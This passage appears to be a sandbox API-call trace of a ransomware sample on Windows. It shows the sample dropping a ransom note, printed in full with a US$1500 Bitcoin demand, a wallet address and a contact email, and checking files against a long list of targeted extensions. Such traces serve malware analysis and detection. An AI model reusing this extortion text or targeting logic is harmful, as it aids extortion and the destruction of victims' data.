(lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03") returned 85 [0111.796] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2bdc0d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2bdc0d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.797] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.797] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bdc0d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2bdc0d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2bdc0d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.797] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.797] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.797] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff52b, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1ff52b, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x22568c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x238400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCEx.ni.dll", cAlternateFileName="MMCEXN~1.DLL")) returned 1 [0111.797] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.797] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MMCEx.ni.dll") returned -1 [0111.797] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MMCEx.ni.dll") returned -1 [0111.797] lstrcmpiA (lpString1="", lpString2="MMCEx.ni.dll") returned -1 [0111.797] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\*.*") returned="*.*" [0111.797] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\" [0111.797] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\") returned="" [0111.797] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\HOW TO DECRYPT FILES.txt" [0111.797] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mmcex\\b46af15d2e2ae2782f384bfc4a4c2c03\\how to decrypt files.txt")) returned 0xffffffff [0111.797] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mmcex\\b46af15d2e2ae2782f384bfc4a4c2c03\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.798] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.798] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.799] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.799] CloseHandle (hObject=0x90) returned 1 [0111.799] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\", lpString2="MMCEx.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll" [0111.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.ems") returned 0 [0111.799] lstrlenA (lpString="*.ems") returned 5 [0111.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.db") returned 0 [0111.799] lstrlenA (lpString="*.db") returned 4 [0111.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.dbf") returned 0 [0111.799] lstrlenA (lpString="*.dbf") returned 5 [0111.799] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.myox") returned 0 [0111.800] lstrlenA (lpString="*.myox") returned 6 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.myo") returned 0 [0111.800] lstrlenA (lpString="*.myo") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qbw") returned 0 [0111.800] lstrlenA (lpString="*.qbw") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qbb") returned 0 [0111.800] lstrlenA (lpString="*.qbb") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qbm") returned 0 [0111.800] lstrlenA (lpString="*.qbm") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qbo") returned 0 [0111.800] lstrlenA (lpString="*.qbo") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qbx") returned 0 [0111.800] lstrlenA (lpString="*.qbx") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qba") returned 0 [0111.800] lstrlenA (lpString="*.qba") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qby") returned 0 [0111.800] lstrlenA (lpString="*.qby") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qbj") returned 0 [0111.800] lstrlenA (lpString="*.qbj") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.ofx") returned 0 [0111.800] lstrlenA (lpString="*.ofx") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.qif") returned 0 [0111.800] lstrlenA (lpString="*.qif") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mye") returned 0 [0111.800] lstrlenA (lpString="*.mye") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mbox") returned 0 [0111.800] lstrlenA (lpString="*.mbox") returned 6 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.eml") returned 0 [0111.800] lstrlenA (lpString="*.eml") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.pst") returned 0 [0111.800] lstrlenA (lpString="*.pst") returned 5 [0111.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.ost") returned 0 [0111.800] lstrlenA (lpString="*.ost") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.idx") returned 0 [0111.801] lstrlenA (lpString="*.idx") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.dbx") returned 0 [0111.801] lstrlenA (lpString="*.dbx") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.sql") returned 0 [0111.801] lstrlenA (lpString="*.sql") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mdb") returned 0 [0111.801] lstrlenA (lpString="*.mdb") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.fdb") returned 0 [0111.801] lstrlenA (lpString="*.fdb") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.wab") returned 0 [0111.801] lstrlenA (lpString="*.wab") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.dat") returned 0 [0111.801] lstrlenA (lpString="*.dat") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.txt") returned 0 [0111.801] lstrlenA (lpString="*.txt") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.jpeg") returned 0 [0111.801] lstrlenA (lpString="*.jpeg") returned 6 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.jpg") returned 0 [0111.801] lstrlenA (lpString="*.jpg") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.png") returned 0 [0111.801] lstrlenA (lpString="*.png") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.php") returned 0 [0111.801] lstrlenA (lpString="*.php") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.cs") returned 0 [0111.801] lstrlenA (lpString="*.cs") returned 4 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.cpp") returned 0 [0111.801] lstrlenA (lpString="*.cpp") returned 5 [0111.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.rar") returned 0 [0111.802] lstrlenA (lpString="*.rar") returned 5 [0111.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.zip") returned 0 [0111.802] lstrlenA (lpString="*.zip") returned 5 [0111.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.html") returned 0 [0111.802] lstrlenA (lpString="*.html") returned 6 [0111.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.htm") returned 0 [0111.802] lstrlenA (lpString="*.htm") returned 5 [0111.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.xlsx") returned 0 [0111.802] lstrlenA (lpString="*.xlsx") returned 6 [0111.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.xls") returned 0 [0111.802] lstrlenA (lpString="*.xls") returned 5 [0111.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mp4") returned 0 [0111.803] lstrlenA (lpString="*.mp4") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.ppt") returned 0 [0111.803] lstrlenA (lpString="*.ppt") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.pptx") returned 0 [0111.803] lstrlenA (lpString="*.pptx") returned 6 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.doc") returned 0 [0111.803] lstrlenA (lpString="*.doc") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.dot") returned 0 [0111.803] lstrlenA (lpString="*.dot") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.docx") returned 0 [0111.803] lstrlenA (lpString="*.docx") returned 6 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.7z") returned 0 [0111.803] lstrlenA (lpString="*.7z") returned 4 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.tar") returned 0 [0111.803] lstrlenA (lpString="*.tar") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.bz2") returned 0 [0111.803] lstrlenA (lpString="*.bz2") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.gz") returned 0 [0111.803] lstrlenA (lpString="*.gz") returned 4 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mkv") returned 0 [0111.803] lstrlenA (lpString="*.mkv") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.eml") returned 0 [0111.803] lstrlenA (lpString="*.eml") returned 5 [0111.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.msg") returned 0 [0111.804] lstrlenA (lpString="*.msg") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.edb") returned 0 [0111.804] lstrlenA (lpString="*.edb") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.accdb") returned 0 [0111.804] lstrlenA (lpString="*.accdb") returned 7 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.odb") returned 0 [0111.804] lstrlenA (lpString="*.odb") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.java") returned 0 [0111.804] lstrlenA (lpString="*.java") returned 6 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.asm") returned 0 [0111.804] lstrlenA (lpString="*.asm") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.pfx") returned 0 [0111.804] lstrlenA (lpString="*.pfx") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.pem") returned 0 [0111.804] lstrlenA (lpString="*.pem") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.p12") returned 0 [0111.804] lstrlenA (lpString="*.p12") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.gpg") returned 0 [0111.804] lstrlenA (lpString="*.gpg") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.vsd") returned 0 [0111.804] lstrlenA (lpString="*.vsd") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.odg") returned 0 [0111.804] lstrlenA (lpString="*.odg") returned 5 [0111.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.raw") returned 0 [0111.804] lstrlenA (lpString="*.raw") returned 5 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.nef") returned 0 [0111.805] lstrlenA (lpString="*.nef") returned 5 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.svg") returned 0 [0111.805] lstrlenA (lpString="*.svg") returned 5 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.psd") returned 0 [0111.805] lstrlenA (lpString="*.psd") returned 5 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.vmx") returned 0 [0111.805] lstrlenA (lpString="*.vmx") returned 5 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.vmdk") returned 0 [0111.805] lstrlenA (lpString="*.vmdk") returned 6 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.vdi") returned 0 [0111.805] lstrlenA (lpString="*.vdi") returned 5 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.lay6") returned 0 [0111.805] lstrlenA (lpString="*.lay6") returned 6 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.mpeg") returned 0 [0111.805] lstrlenA (lpString="*.mpeg") returned 6 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.djvu") returned 0 [0111.805] lstrlenA (lpString="*.djvu") returned 6 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.tiff") returned 0 [0111.805] lstrlenA (lpString="*.tiff") returned 6 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.backup") returned 0 [0111.805] lstrlenA (lpString="*.backup") returned 8 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.pdf") returned 0 [0111.805] lstrlenA (lpString="*.pdf") returned 5 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.cert") returned 0 [0111.805] lstrlenA (lpString="*.cert") returned 6 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.docm") returned 0 [0111.805] lstrlenA (lpString="*.docm") returned 6 [0111.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.xlsm") returned 0 [0111.805] lstrlenA (lpString="*.xlsm") returned 6 [0111.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCEx\\b46af15d2e2ae2782f384bfc4a4c2c03\\MMCEx.ni.dll", pszSpec="*.dwg") returned 0 [0111.806] lstrlenA 